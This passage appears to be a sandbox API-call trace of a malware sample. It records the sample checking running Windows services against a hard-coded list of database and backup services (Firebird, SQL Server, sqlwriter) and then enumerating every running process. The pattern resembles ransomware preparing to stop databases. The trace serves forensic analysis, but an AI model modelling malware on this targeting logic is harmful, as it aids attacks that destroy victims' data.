lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0203.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0203.260] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0203.260] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0203.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0203.260] lstrlenW (lpString="NcbService") returned 10 [0203.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0203.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0203.260] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0203.260] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0203.260] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0203.260] lstrlenW (lpString="netprofm") returned 8 [0203.260] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0203.260] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0203.260] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0203.261] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0203.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0203.261] lstrlenW (lpString="NgcSvc") returned 6 [0203.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0203.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0203.261] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0203.261] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0203.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0203.261] lstrlenW (lpString="NlaSvc") returned 6 [0203.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0203.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0203.261] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0203.261] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0203.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0203.261] lstrlenW (lpString="nsi") returned 3 [0203.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0203.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0203.261] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0203.261] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0203.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0203.261] lstrlenW (lpString="PcaSvc") returned 6 [0203.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0203.261] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0203.261] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0203.261] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0203.261] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0203.261] lstrlenW (lpString="PlugPlay") returned 8 [0203.261] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0203.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0203.262] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0203.262] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0203.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0203.262] lstrlenW (lpString="Power") returned 5 [0203.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0203.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0203.262] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0203.262] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0203.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0203.262] lstrlenW (lpString="ProfSvc") returned 7 [0203.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0203.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0203.262] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0203.262] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0203.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0203.262] lstrlenW (lpString="RpcEptMapper") returned 12 [0203.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0203.262] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0203.262] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0203.262] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0203.262] lstrlenW (lpString="RpcSs") returned 5 [0203.262] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0203.262] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0203.262] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0203.262] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0203.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0203.263] lstrlenW (lpString="SamSs") returned 5 [0203.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0203.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0203.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0203.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0203.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0203.263] lstrlenW (lpString="Schedule") returned 8 [0203.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0203.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0203.263] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0203.263] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0203.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0203.263] lstrlenW (lpString="SecurityHealthService") returned 21 [0203.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0203.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0203.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0203.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0203.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0203.263] lstrlenW (lpString="SENS") returned 4 [0203.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0203.263] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0203.263] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0203.263] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0203.263] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0203.263] lstrlenW (lpString="ShellHWDetection") returned 16 [0203.263] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0203.264] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0203.264] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0203.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0203.264] lstrlenW (lpString="Spooler") returned 7 [0203.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0203.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0203.264] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0203.264] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0203.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0203.264] lstrlenW (lpString="StateRepository") returned 15 [0203.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0203.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0203.264] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0203.264] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0203.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0203.264] lstrlenW (lpString="SysMain") returned 7 [0203.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0203.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0203.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0203.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0203.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0203.264] lstrlenW (lpString="SystemEventsBroker") returned 18 [0203.264] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0203.264] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SystemEventsBroker") returned -1 [0203.264] lstrcmpiW (lpString1="sqlwriter", lpString2="SystemEventsBroker") returned -1 [0203.264] lstrcmpiW (lpString1="mssqlserver", lpString2="SystemEventsBroker") returned -1 [0203.264] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SystemEventsBroker") returned -1 [0203.265] lstrlenW (lpString="Themes") returned 6 [0203.265] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0203.265] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0203.265] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0203.265] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0203.265] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x240 [0203.275] Process32FirstW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0203.276] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6d, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0203.277] lstrlenW (lpString="System") returned 6 [0203.277] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0203.278] lstrlenW (lpString="smss.exe") returned 8 [0203.278] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.278] lstrlenW (lpString="csrss.exe") returned 9 [0203.278] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0203.279] lstrlenW (lpString="wininit.exe") returned 11 [0203.279] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0203.280] lstrlenW (lpString="csrss.exe") returned 9 [0203.280] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x22c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e0, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0203.281] lstrlenW (lpString="winlogon.exe") returned 12 [0203.281] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0203.282] lstrlenW (lpString="services.exe") returned 12 [0203.282] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e8, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0203.282] lstrlenW (lpString="lsass.exe") returned 9 [0203.282] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x22c, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0203.283] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0203.283] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0203.284] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0203.284] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.285] lstrlenW (lpString="svchost.exe") returned 11 [0203.285] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.285] lstrlenW (lpString="svchost.exe") returned 11 [0203.286] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x22c, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0203.286] lstrlenW (lpString="dwm.exe") returned 7 [0203.286] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.287] lstrlenW (lpString="svchost.exe") returned 11 [0203.287] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.288] lstrlenW (lpString="svchost.exe") returned 11 [0203.288] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.289] lstrlenW (lpString="svchost.exe") returned 11 [0203.289] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.420] lstrlenW (lpString="svchost.exe") returned 11 [0203.421] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x26, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.422] lstrlenW (lpString="svchost.exe") returned 11 [0203.422] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x470, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.423] lstrlenW (lpString="svchost.exe") returned 11 [0203.423] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.423] lstrlenW (lpString="svchost.exe") returned 11 [0203.423] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x588, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.424] lstrlenW (lpString="svchost.exe") returned 11 [0203.424] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.425] lstrlenW (lpString="svchost.exe") returned 11 [0203.425] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.426] lstrlenW (lpString="svchost.exe") returned 11 [0203.426] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x608, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0203.427] lstrlenW (lpString="spoolsv.exe") returned 11 [0203.427] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x67c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.427] lstrlenW (lpString="svchost.exe") returned 11 [0203.427] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0203.428] lstrlenW (lpString="audiodg.exe") returned 11 [0203.428] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x710, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0203.429] lstrlenW (lpString="sihost.exe") returned 10 [0203.429] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0203.430] lstrlenW (lpString="svchost.exe") returned 11 [0203.431] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0203.431] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0203.432] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x248, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0203.432] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0203.432] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0203.433] lstrlenW (lpString="Memory Compression") returned 18 [0203.433] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x804, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0203.434] lstrlenW (lpString="taskhostw.exe") returned 13 [0203.434] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3bc, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0203.435] lstrlenW (lpString="msoia.exe") returned 9 [0203.435] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x36, th32ParentProcessID=0xa20, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0203.436] lstrlenW (lpString="explorer.exe") returned 12 [0203.436] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb74, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0203.436] lstrlenW (lpString="SearchUI.exe") returned 12 [0203.437] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xba8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0203.437] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0203.437] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0203.438] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0203.438] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd1c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0203.439] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0203.439] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0xa38, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0203.440] lstrlenW (lpString="wmxsde.exe") returned 10 [0203.440] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0203.441] lstrlenW (lpString="dllhost.exe") returned 11 [0203.441] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 1 [0203.441] lstrlenW (lpString="wmxsde.exe") returned 10 [0203.442] Process32NextW (in: hSnapshot=0x240, lppe=0x19fb74 | out: lppe=0x19fb74*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd8, pcPriClassBase=8, dwFlags=0x0, szExeFile="wmxsde.exe")) returned 0 [0203.442] CloseHandle (hObject=0x240) returned 1 [0203.442] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7848 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d7578 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d6300 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x5d63e0 | out: hHeap=0x5c0000) returned 1 [0203.443] HeapFree (in: 